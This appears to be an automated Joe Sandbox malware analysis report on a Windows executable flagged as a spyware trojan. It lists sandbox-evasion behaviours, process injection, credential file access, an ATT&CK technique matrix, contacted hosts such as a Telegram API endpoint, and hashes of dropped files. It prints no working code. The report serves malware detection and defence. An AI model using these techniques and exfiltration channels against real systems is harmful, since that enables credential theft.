| Source: | Thread delayed: | Jump to behavior | ||
| Source: | Thread delayed: | Jump to behavior | ||
| Source: | Thread delayed: | Jump to behavior | ||
| Source: | Thread delayed: | Jump to behavior | ||
| Source: | Thread delayed: | Jump to behavior | ||
| Source: | Thread delayed: | Jump to behavior | ||
| Source: | Thread delayed: | Jump to behavior | ||
| Source: | Thread delayed: | Jump to behavior | ||
| Source: | Thread delayed: | Jump to behavior | ||
| Source: | Thread delayed: | Jump to behavior | ||
| Source: | Thread delayed: | Jump to behavior | ||
| Source: | Thread delayed: | Jump to behavior | ||
| Source: | Thread delayed: | Jump to behavior | ||
| Source: | Thread delayed: | Jump to behavior | ||
| Source: | Thread delayed: | Jump to behavior | ||
| Source: | Thread delayed: | Jump to behavior | ||
| Source: | Thread delayed: | Jump to behavior | ||
| Source: | Thread delayed: | Jump to behavior | ||
| Source: | Thread delayed: | Jump to behavior | ||
| Source: | Thread delayed: | Jump to behavior | ||
| Source: | Thread delayed: | Jump to behavior | ||
| Source: | Thread delayed: | Jump to behavior | ||
| Source: | Thread delayed: | Jump to behavior | ||
| Source: | Thread delayed: | Jump to behavior | ||
| Source: | Window / User API: | Jump to behavior | ||
| Source: | Window / User API: | Jump to behavior | ||
| Source: | Dropped PE file which has not been started: | Jump to dropped file | ||
| Source: | Thread sleep time: | Jump to behavior | ||
| Source: | Thread sleep count: | Jump to behavior | ||
| Source: | Thread sleep time: | Jump to behavior | ||
| Source: | Thread sleep time: | Jump to behavior | ||
| Source: | Thread sleep count: | Jump to behavior | ||
| Source: | Thread sleep time: | Jump to behavior | ||
| Source: | Thread sleep count: | Jump to behavior | ||
| Source: | Thread sleep time: | Jump to behavior | ||
| Source: | Thread sleep time: | Jump to behavior | ||
| Source: | Thread sleep time: | Jump to behavior | ||
| Source: | Thread sleep time: | Jump to behavior | ||
| Source: | Thread sleep time: | Jump to behavior | ||
| Source: | Thread sleep time: | Jump to behavior | ||
| Source: | Thread sleep time: | Jump to behavior | ||
| Source: | Thread sleep time: | Jump to behavior | ||
| Source: | Thread sleep time: | Jump to behavior | ||
| Source: | Thread sleep time: | Jump to behavior | ||
| Source: | Thread sleep time: | Jump to behavior | ||
| Source: | Thread sleep time: | Jump to behavior | ||
| Source: | Thread sleep time: | Jump to behavior | ||
| Source: | Thread sleep time: | Jump to behavior | ||
| Source: | Thread sleep time: | Jump to behavior | ||
| Source: | Thread sleep time: | Jump to behavior | ||
| Source: | Thread sleep time: | Jump to behavior | ||
| Source: | Thread sleep time: | Jump to behavior | ||
| Source: | Thread sleep time: | Jump to behavior | ||
| Source: | Thread sleep time: | Jump to behavior | ||
| Source: | Thread sleep time: | Jump to behavior | ||
| Source: | Thread sleep time: | Jump to behavior | ||
| Source: | Thread sleep time: | Jump to behavior | ||
| Source: | Thread sleep time: | Jump to behavior | ||
| Source: | Thread sleep time: | Jump to behavior | ||
| Source: | Thread sleep time: | Jump to behavior | ||
| Source: | Thread sleep time: | Jump to behavior | ||
| Source: | Thread sleep time: | Jump to behavior | ||
| Source: | Thread sleep time: | Jump to behavior | ||
| Source: | Thread sleep time: | Jump to behavior | ||
| Source: | Thread sleep time: | Jump to behavior | ||
| Source: | Thread sleep time: | Jump to behavior | ||
| Source: | Thread sleep time: | Jump to behavior | ||
| Source: | Thread sleep time: | Jump to behavior | ||
| Source: | Thread sleep time: | Jump to behavior | ||
| Source: | Thread sleep time: | Jump to behavior | ||
| Source: | Thread sleep time: | Jump to behavior | ||
| Source: | Thread sleep time: | Jump to behavior | ||
| Source: | Thread sleep time: | Jump to behavior | ||
| Source: | Thread sleep time: | Jump to behavior | ||
| Source: | Thread sleep time: | Jump to behavior | ||
| Source: | Thread sleep time: | Jump to behavior | ||
| Source: | Thread sleep time: | Jump to behavior | ||
| Source: | Thread sleep time: | Jump to behavior | ||
| Source: | Thread sleep time: | Jump to behavior | ||
| Source: | Thread sleep time: | Jump to behavior | ||
| Source: | Thread sleep time: | Jump to behavior | ||
| Source: | Thread sleep time: | Jump to behavior | ||
| Source: | Last function: | ||
| Source: | Last function: | ||
| Source: | Code function: | 0_2_00405C13 | |
| Source: | Code function: | 0_2_0040683D | |
| Source: | Code function: | 0_2_0040290B | |
| Source: | Thread delayed: | Jump to behavior | ||
| Source: | Thread delayed: | Jump to behavior | ||
| Source: | Thread delayed: | Jump to behavior | ||
| Source: | Thread delayed: | Jump to behavior | ||
| Source: | Thread delayed: | Jump to behavior | ||
| Source: | Thread delayed: | Jump to behavior | ||
| Source: | Thread delayed: | Jump to behavior | ||
| Source: | Thread delayed: | Jump to behavior | ||
| Source: | Thread delayed: | Jump to behavior | ||
| Source: | Thread delayed: | Jump to behavior | ||
| Source: | Thread delayed: | Jump to behavior | ||
| Source: | Thread delayed: | Jump to behavior | ||
| Source: | Thread delayed: | Jump to behavior | ||
| Source: | Thread delayed: | Jump to behavior | ||
| Source: | Thread delayed: | Jump to behavior | ||
| Source: | Thread delayed: | Jump to behavior | ||
| Source: | Thread delayed: | Jump to behavior | ||
| Source: | Thread delayed: | Jump to behavior | ||
| Source: | Thread delayed: | Jump to behavior | ||
| Source: | Thread delayed: | Jump to behavior | ||
| Source: | Thread delayed: | Jump to behavior | ||
| Source: | Thread delayed: | Jump to behavior | ||
| Source: | Thread delayed: | Jump to behavior | ||
| Source: | Thread delayed: | Jump to behavior | ||
| Source: | Thread delayed: | Jump to behavior | ||
| Source: | Thread delayed: | Jump to behavior | ||
| Source: | Thread delayed: | Jump to behavior | ||
| Source: | Thread delayed: | Jump to behavior | ||
| Source: | Thread delayed: | Jump to behavior | ||
| Source: | Thread delayed: | Jump to behavior | ||
| Source: | Thread delayed: | Jump to behavior | ||
| Source: | Thread delayed: | Jump to behavior | ||
| Source: | Thread delayed: | Jump to behavior | ||
| Source: | Thread delayed: | Jump to behavior | ||
| Source: | Thread delayed: | Jump to behavior | ||
| Source: | Thread delayed: | Jump to behavior | ||
| Source: | Thread delayed: | Jump to behavior | ||
| Source: | Thread delayed: | Jump to behavior | ||
| Source: | Thread delayed: | Jump to behavior | ||
| Source: | Thread delayed: | Jump to behavior | ||
| Source: | Thread delayed: | Jump to behavior | ||
| Source: | Thread delayed: | Jump to behavior | ||
| Source: | Thread delayed: | Jump to behavior | ||
| Source: | Thread delayed: | Jump to behavior | ||
| Source: | Thread delayed: | Jump to behavior | ||
| Source: | Thread delayed: | Jump to behavior | ||
| Source: | Thread delayed: | Jump to behavior | ||
| Source: | Thread delayed: | Jump to behavior | ||
| Source: | Thread delayed: | Jump to behavior | ||
| Source: | Thread delayed: | Jump to behavior | ||
| Source: | Thread delayed: | Jump to behavior | ||
| Source: | Thread delayed: | Jump to behavior | ||
| Source: | Binary or memory string: | ||
| Source: | Binary or memory string: | ||
| Source: | Binary or memory string: | ||
| Source: | Binary or memory string: | ||
| Source: | Binary or memory string: | ||
| Source: | Binary or memory string: | ||
| Source: | Binary or memory string: | ||
| Source: | API call chain: | graph_0-3802 | ||
| Source: | API call chain: | graph_0-3806 | ||
| Source: | Process information queried: | Jump to behavior | ||
| Source: | Process queried: | Jump to behavior | ||
| Source: | Code function: | 6_2_02BED278 | |
| Source: | Process token adjusted: | Jump to behavior | ||
| Source: | Process token adjusted: | Jump to behavior | ||
HIPS / PFW / Operating System Protection Evasion | |
|---|
| Source: | Process created / APC Queued / Resumed: | Jump to behavior | ||
| Source: | Thread APC queued: | Jump to behavior | ||
| Source: | Memory written: | Jump to behavior | ||
| Source: | Process created: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Queries volume information: | Jump to behavior | ||
| Source: | Code function: | 0_2_004034F7 | |
Stealing of Sensitive Information | |
|---|
| Source: | File source: | ||
| Source: | File source: | ||
| Source: | File source: | ||
| Source: | File source: | ||
| Source: | File opened: | Jump to behavior | ||
| Source: | File opened: | Jump to behavior | ||
| Source: | File opened: | Jump to behavior | ||
| Source: | File opened: | Jump to behavior | ||
| Source: | File opened: | Jump to behavior | ||
| Source: | File opened: | Jump to behavior | ||
| Source: | File opened: | Jump to behavior | ||
| Source: | File opened: | Jump to behavior | ||
| Source: | File source: | ||
| Source: | File source: | ||
Remote Access Functionality | |
|---|
| Source: | File source: | ||
| Source: | File source: | ||
| Source: | File source: | ||
| Source: | File source: | ||
| Reconnaissance | Resource Development | Initial Access | Execution | Persistence | Privilege Escalation | Defense Evasion | Credential Access | Discovery | Lateral Movement | Collection | Command and Control | Exfiltration | Impact |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| Gather Victim Identity Information | Acquire Infrastructure | Valid Accounts | 1 Windows Management Instrumentation | 1 DLL Side-Loading | 1 DLL Side-Loading | 2 Obfuscated Files or Information | 1 OS Credential Dumping | 2 File and Directory Discovery | Remote Services | 1 Archive Collected Data | 1 Web Service | Exfiltration Over Other Network Medium | 1 System Shutdown/Reboot |
| Credentials | Domains | Default Accounts | 2 PowerShell | 1 Registry Run Keys / Startup Folder | 1 Access Token Manipulation | 1 Software Packing | LSASS Memory | 14 System Information Discovery | Remote Desktop Protocol | 1 Data from Local System | 3 Ingress Tool Transfer | Exfiltration Over Bluetooth | Network Denial of Service |
| Email Addresses | DNS Server | Domain Accounts | At | Logon Script (Windows) | 311 Process Injection | 1 DLL Side-Loading | Security Account Manager | 11 Security Software Discovery | SMB/Windows Admin Shares | 1 Email Collection | 11 Encrypted Channel | Automated Exfiltration | Data Encrypted for Impact |
| Employee Names | Virtual Private Server | Local Accounts | Cron | Login Hook | 1 Registry Run Keys / Startup Folder | 11 Masquerading | NTDS | 1 Process Discovery | Distributed Component Object Model | 1 Clipboard Data | 4 Non-Application Layer Protocol | Traffic Duplication | Data Destruction |
| Gather Victim Network Information | Server | Cloud Accounts | Launchd | Network Logon Script | Network Logon Script | 31 Virtualization/Sandbox Evasion | LSA Secrets | 31 Virtualization/Sandbox Evasion | SSH | Keylogging | 15 Application Layer Protocol | Scheduled Transfer | Data Encrypted for Impact |
| Domain Properties | Botnet | Replication Through Removable Media | Scheduled Task | RC Scripts | RC Scripts | 1 Access Token Manipulation | Cached Domain Credentials | 1 Application Window Discovery | VNC | GUI Input Capture | Multiband Communication | Data Transfer Size Limits | Service Stop |
| DNS | Web Services | External Remote Services | Systemd Timers | Startup Items | Startup Items | 311 Process Injection | DCSync | 1 System Network Configuration Discovery | Windows Remote Management | Web Portal Capture | Commonly Used Port | Exfiltration Over C2 Channel | Inhibit System Recovery |
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
InternetThis section contains all screenshots as thumbnails, including those not shown in the slideshow.
| Source | Detection | Scanner | Label | Link |
|---|---|---|---|---|
| 5% | ReversingLabs |
| Source | Detection | Scanner | Label | Link |
|---|---|---|---|---|
| 5% | ReversingLabs | |||
| 0% | ReversingLabs |
⊘No Antivirus matches
⊘No Antivirus matches
⊘No Antivirus matches
| Name | IP | Active | Malicious | Antivirus Detection | Reputation |
|---|---|---|---|---|---|
| drive.google.com | 172.217.19.174 | true | false | high | |
| drive.usercontent.google.com | 142.250.181.97 | true | false | high | |
| reallyfreegeoip.org | 104.21.67.152 | true | false | high | |
| api.telegram.org | 149.154.167.220 | true | false | high | |
| checkip.dyndns.com | 193.122.6.168 | true | false | high | |
| checkip.dyndns.org | unknown | unknown | false | high |
| Name | Malicious | Antivirus Detection | Reputation |
|---|---|---|---|
| false | high | ||
| false | high | ||
| false | high | ||
| false | high | ||
| false | high |
| Name | Source | Malicious | Antivirus Detection | Reputation |
|---|---|---|---|---|
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false | high | |||
| false | high |
- No. of IPs < 25%
- 25% < No. of IPs < 50%
- 50% < No. of IPs < 75%
- 75% < No. of IPs
| IP | Domain | Country | Flag | ASN | ASN Name | Malicious |
|---|---|---|---|---|---|---|
| 149.154.167.220 | api.telegram.org | United Kingdom | 62041 | TELEGRAMRU | false | |
| 104.21.67.152 | reallyfreegeoip.org | United States | 13335 | CLOUDFLARENETUS | false | |
| 193.122.6.168 | checkip.dyndns.com | United States | 31898 | ORACLE-BMC-31898US | false | |
| 158.101.44.242 | unknown | United States | 31898 | ORACLE-BMC-31898US | false | |
| 172.217.19.174 | drive.google.com | United States | 15169 | GOOGLEUS | false | |
| 142.250.181.97 | drive.usercontent.google.com | United States | 15169 | GOOGLEUS | false |
| Joe Sandbox version: | 41.0.0 Charoite |
| Analysis ID: | 1576204 |
| Start date and time: | 2024-12-16 16:31:06 +01:00 |
| Joe Sandbox product: | CloudBasic |
| Overall analysis duration: | 0h 7m 2s |
| Hypervisor based Inspection enabled: | false |
| Report type: | full |
| Cookbook file name: | default.jbs |
| Analysis system description: | Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01 |
| Number of analysed new started processes analysed: | 8 |
| Number of new started drivers analysed: | 0 |
| Number of existing processes analysed: | 0 |
| Number of existing drivers analysed: | 0 |
| Number of injected processes analysed: | 0 |
| Technologies: |
|
| Analysis Mode: | default |
| Analysis stop reason: | Timeout |
| Sample name: | pedido-035241.exe |
| Detection: | MAL |
| Classification: | mal100.troj.spyw.evad.winEXE@6/16@6/6 |
| EGA Information: |
|
| HCA Information: |
|
| Cookbook Comments: |
|
- Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
- Excluded IPs from analysis (whitelisted): 20.12.23.50, 13.107.246.63, 20.109.210.53
- Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
- Execution Graph export aborted for target msiexec.exe, PID 8000 because it is empty
- Not all processes where analyzed, report is missing behavior information
- Report size getting too big, too many NtCreateKey calls found.
- Report size getting too big, too many NtQueryAttributesFile calls found.
- Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
- VT rate limit hit for: pedido-035241.exe
| Time | Type | Description |
|---|---|---|
| 10:32:05 | API Interceptor | |
| 10:33:29 | API Interceptor |
| Match | Associated Sample Name / URL | SHA 256 | Detection | Threat Name | Link | Context |
|---|---|---|---|---|---|---|
| 149.154.167.220 | Get hash | malicious | MassLogger RAT | Browse | ||
| Get hash | malicious | Snake Keylogger, VIP Keylogger | Browse | |||
| Get hash | malicious | MassLogger RAT | Browse | |||
| Get hash | malicious | VIP Keylogger | Browse | |||
| Get hash | malicious | Snake Keylogger, VIP Keylogger | Browse | |||
| Get hash | malicious | GuLoader, MassLogger RAT | Browse | |||
| Get hash | malicious | GuLoader, MassLogger RAT | Browse | |||
| Get hash | malicious | GuLoader, MassLogger RAT | Browse | |||
| Get hash | malicious | ScreenConnect Tool, Amadey, LummaC Stealer, PureLog Stealer, Vidar, Xmrig | Browse | |||
| Get hash | malicious | 77Rootkit, XWorm | Browse | |||
| 104.21.67.152 | Get hash | malicious | MassLogger RAT | Browse | ||
| Get hash | malicious | Snake Keylogger, VIP Keylogger | Browse | |||
| Get hash | malicious | MassLogger RAT, PureLog Stealer | Browse | |||
| Get hash | malicious | MassLogger RAT | Browse | |||
| Get hash | malicious | Snake Keylogger, VIP Keylogger | Browse | |||
| Get hash | malicious | GuLoader | Browse | |||
| Get hash | malicious | GuLoader, MassLogger RAT | Browse | |||
| Get hash | malicious | GuLoader, MassLogger RAT | Browse | |||
| Get hash | malicious | GuLoader, MassLogger RAT | Browse | |||
| Get hash | malicious | Snake Keylogger, VIP Keylogger | Browse | |||
| 193.122.6.168 | Get hash | malicious | MassLogger RAT | Browse |
| |
| Get hash | malicious | GuLoader, MassLogger RAT | Browse |
| ||
| Get hash | malicious | Snake Keylogger, VIP Keylogger | Browse |
| ||
| Get hash | malicious | MassLogger RAT | Browse |
| ||
| Get hash | malicious | MassLogger RAT | Browse |
| ||
| Get hash | malicious | MassLogger RAT | Browse |
| ||
| Get hash | malicious | GuLoader, MassLogger RAT | Browse |
| ||
| Get hash | malicious | GuLoader | Browse |
| ||
| Get hash | malicious | GuLoader, MassLogger RAT | Browse |
| ||
| Get hash | malicious | MassLogger RAT | Browse |
|
| Match | Associated Sample Name / URL | SHA 256 | Detection | Threat Name | Link | Context |
|---|---|---|---|---|---|---|
| checkip.dyndns.com | Get hash | malicious | MassLogger RAT | Browse |
| |
| Get hash | malicious | Snake Keylogger, VIP Keylogger | Browse |
| ||
| Get hash | malicious | MassLogger RAT | Browse |
| ||
| Get hash | malicious | VIP Keylogger | Browse |
| ||
| Get hash | malicious | MassLogger RAT, PureLog Stealer | Browse |
| ||
| Get hash | malicious | MassLogger RAT | Browse |
| ||
| Get hash | malicious | MassLogger RAT | Browse |
| ||
| Get hash | malicious | Snake Keylogger, VIP Keylogger | Browse |
| ||
| Get hash | malicious | GuLoader | Browse |
| ||
| Get hash | malicious | GuLoader, MassLogger RAT | Browse |
| ||
| reallyfreegeoip.org | Get hash | malicious | MassLogger RAT | Browse |
| |
| Get hash | malicious | Snake Keylogger, VIP Keylogger | Browse |
| ||
| Get hash | malicious | MassLogger RAT | Browse |
| ||
| Get hash | malicious | VIP Keylogger | Browse |
| ||
| Get hash | malicious | MassLogger RAT, PureLog Stealer | Browse |
| ||
| Get hash | malicious | MassLogger RAT | Browse |
| ||
| Get hash | malicious | Snake Keylogger, VIP Keylogger | Browse |
| ||
| Get hash | malicious | GuLoader | Browse |
| ||
| Get hash | malicious | GuLoader, MassLogger RAT | Browse |
| ||
| Get hash | malicious | GuLoader, MassLogger RAT | Browse |
| ||
| api.telegram.org | Get hash | malicious | MassLogger RAT | Browse |
| |
| Get hash | malicious | Snake Keylogger, VIP Keylogger | Browse |
| ||
| Get hash | malicious | MassLogger RAT | Browse |
| ||
| Get hash | malicious | VIP Keylogger | Browse |
| ||
| Get hash | malicious | Snake Keylogger, VIP Keylogger | Browse |
| ||
| Get hash | malicious | GuLoader, MassLogger RAT | Browse |
| ||
| Get hash | malicious | GuLoader, MassLogger RAT | Browse |
| ||
| Get hash | malicious | GuLoader, MassLogger RAT | Browse |
| ||
| Get hash | malicious | 77Rootkit, XWorm | Browse |
| ||
| Get hash | malicious | Discord Token Stealer, DotStealer | Browse |
|
| Match | Associated Sample Name / URL | SHA 256 | Detection | Threat Name | Link | Context |
|---|---|---|---|---|---|---|
| ORACLE-BMC-31898US | Get hash | malicious | MassLogger RAT | Browse |
| |
| Get hash | malicious | Snake Keylogger, VIP Keylogger | Browse |
| ||
| Get hash | malicious | MassLogger RAT | Browse |
| ||
| Get hash | malicious | MassLogger RAT, PureLog Stealer | Browse |
| ||
| Get hash | malicious | Snake Keylogger, VIP Keylogger | Browse |
| ||
| Get hash | malicious | GuLoader | Browse |
| ||
| Get hash | malicious | GuLoader, MassLogger RAT | Browse |
| ||
| Get hash | malicious | GuLoader, MassLogger RAT | Browse |
| ||
| Get hash | malicious | Unknown | Browse |
| ||
| Get hash | malicious | GuLoader, MassLogger RAT | Browse |
| ||
| TELEGRAMRU | Get hash | malicious | Vidar | Browse |
| |
| Get hash | malicious | MassLogger RAT | Browse |
| ||
| Get hash | malicious | Snake Keylogger, VIP Keylogger | Browse |
| ||
| Get hash | malicious | MassLogger RAT | Browse |
| ||
| Get hash | malicious | VIP Keylogger | Browse |
| ||
| Get hash | malicious | Vidar | Browse |
| ||
| Get hash | malicious | Snake Keylogger, VIP Keylogger | Browse |
| ||
| Get hash | malicious | LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar | Browse |
| ||
| Get hash | malicious | Stealc, Vidar | Browse |
| ||
| Get hash | malicious | Vidar | Browse |
| ||
| CLOUDFLARENETUS | Get hash | malicious | Unknown | Browse |
| |
| Get hash | malicious | RHADAMANTHYS | Browse |
| ||
| Get hash | malicious | RHADAMANTHYS | Browse |
| ||
| Get hash | malicious | Amadey | Browse |
| ||
| Get hash | malicious | Amadey | Browse |
| ||
| Get hash | malicious | Amadey | Browse |
| ||
| Get hash | malicious | Amadey | Browse |
| ||
| Get hash | malicious | LummaC | Browse |
| ||
| Get hash | malicious | Vidar | Browse |
| ||
| Get hash | malicious | Unknown | Browse |
|
| Match | Associated Sample Name / URL | SHA 256 | Detection | Threat Name | Link | Context |
|---|---|---|---|---|---|---|
| 54328bd36c14bd82ddaa0c04b25ed9ad | Get hash | malicious | MassLogger RAT | Browse |
| |
| Get hash | malicious | Snake Keylogger, VIP Keylogger | Browse |
| ||
| Get hash | malicious | MassLogger RAT | Browse |
| ||
| Get hash | malicious | VIP Keylogger | Browse |
| ||
| Get hash | malicious | MassLogger RAT, PureLog Stealer | Browse |
| ||
| Get hash | malicious | MassLogger RAT | Browse |
| ||
| Get hash | malicious | Snake Keylogger, VIP Keylogger | Browse |
| ||
| Get hash | malicious | GuLoader | Browse |
| ||
| Get hash | malicious | GuLoader, MassLogger RAT | Browse |
| ||
| Get hash | malicious | GuLoader, MassLogger RAT | Browse |
| ||
| 3b5074b1b5d032e5620f69f9f700ff0e | Get hash | malicious | RHADAMANTHYS | Browse |
| |
| Get hash | malicious | RHADAMANTHYS | Browse |
| ||
| Get hash | malicious | Unknown | Browse |
| ||
| Get hash | malicious | Babadeda, Conti, Mimikatz | Browse |
| ||
| Get hash | malicious | Unknown | Browse |
| ||
| Get hash | malicious | Unknown | Browse |
| ||
| Get hash | malicious | LummaC | Browse |
| ||
| Get hash | malicious | LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar | Browse |
| ||
| Get hash | malicious | MassLogger RAT | Browse |
| ||
| Get hash | malicious | Snake Keylogger, VIP Keylogger | Browse |
| ||
| 37f463bf4616ecd445d4a1937da06e19 | Get hash | malicious | Vidar | Browse |
| |
| Get hash | malicious | LummaC | Browse |
| ||
| Get hash | malicious | Vidar | Browse |
| ||
| Get hash | malicious | LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar | Browse |
| ||
| Get hash | malicious | GuLoader | Browse |
| ||
| Get hash | malicious | Stealc, Vidar | Browse |
| ||
| Get hash | malicious | Vidar | Browse |
| ||
| Get hash | malicious | Unknown | Browse |
| ||
| Get hash | malicious | LummaC | Browse |
| ||
| Get hash | malicious | LummaC | Browse |
|
| Match | Associated Sample Name / URL | SHA 256 | Detection | Threat Name | Link | Context |
|---|---|---|---|---|---|---|
| C:\Users\user\AppData\Local\Temp\nso7E83.tmp\nsExec.dll | Get hash | malicious | Unknown | Browse | ||
| Get hash | malicious | Unknown | Browse | |||
| Get hash | malicious | Unknown | Browse | |||
| Get hash | malicious | Unknown | Browse | |||
| Get hash | malicious | Unknown | Browse | |||
| Get hash | malicious | Unknown | Browse | |||
| Get hash | malicious | Unknown | Browse | |||
| Get hash | malicious | Unknown | Browse | |||
| Get hash | malicious | Unknown | Browse | |||
| Get hash | malicious | Unknown | Browse |
| Process: | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe |
| File Type: | |
| Category: | modified |
| Size (bytes): | 53158 |
| Entropy (8bit): | 5.062687652912555 |
| Encrypted: | false |
| SSDEEP: | 1536:N8Z+z30pPV3CNBQkj2Ph4iUx7aVKflJnqvPqdKgfSRIOdBlzStAHk4NKeCMiYoLs:iZ+z30pPV3CNBQkj2PqiU7aVKflJnqvF |
| MD5: | 5D430F1344CE89737902AEC47C61C930 |
| SHA1: | 0B90F23535E8CDAC8EC1139183D5A8A269C2EFEB |
| SHA-256: | 395099D9A062FA7A72B73D7B354BF411DA7CFD8D6ADAA9FDBC0DD7C282348DC7 |
| SHA-512: | DFC18D47703A69D44643CFC0209B785A4393F4A4C84FAC5557D996BC2A3E4F410EA6D26C66EA7F765CEC491DD52C8454CB0F538D20D2EFF09DC89DDECC0A2AFE |
| Malicious: | false |
| Reputation: | moderate, very likely benign file |
| Preview: |
| Process: | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe |
| File Type: | |
| Category: | dropped |
| Size (bytes): | 60 |
| Entropy (8bit): | 4.038920595031593 |
| Encrypted: | false |
| SSDEEP: | 3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX |
| MD5: | D17FE0A3F47BE24A6453E9EF58C94641 |
| SHA1: | 6AB83620379FC69F80C0242105DDFFD7D98D5D9D |
| SHA-256: | 96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 |
| SHA-512: | 5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82 |
| Malicious: | false |
| Reputation: | high, very likely benign file |
| Preview: |
| Process: | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe |
| File Type: | |
| Category: | dropped |
| Size (bytes): | 60 |
| Entropy (8bit): | 4.038920595031593 |
| Encrypted: | false |
| SSDEEP: | 3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX |
| MD5: | D17FE0A3F47BE24A6453E9EF58C94641 |
| SHA1: | 6AB83620379FC69F80C0242105DDFFD7D98D5D9D |
| SHA-256: | 96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 |
| SHA-512: | 5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82 |
| Malicious: | false |
| Reputation: | high, very likely benign file |
| Preview: |
| Process: | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe |
| File Type: | |
| Category: | dropped |
| Size (bytes): | 60 |
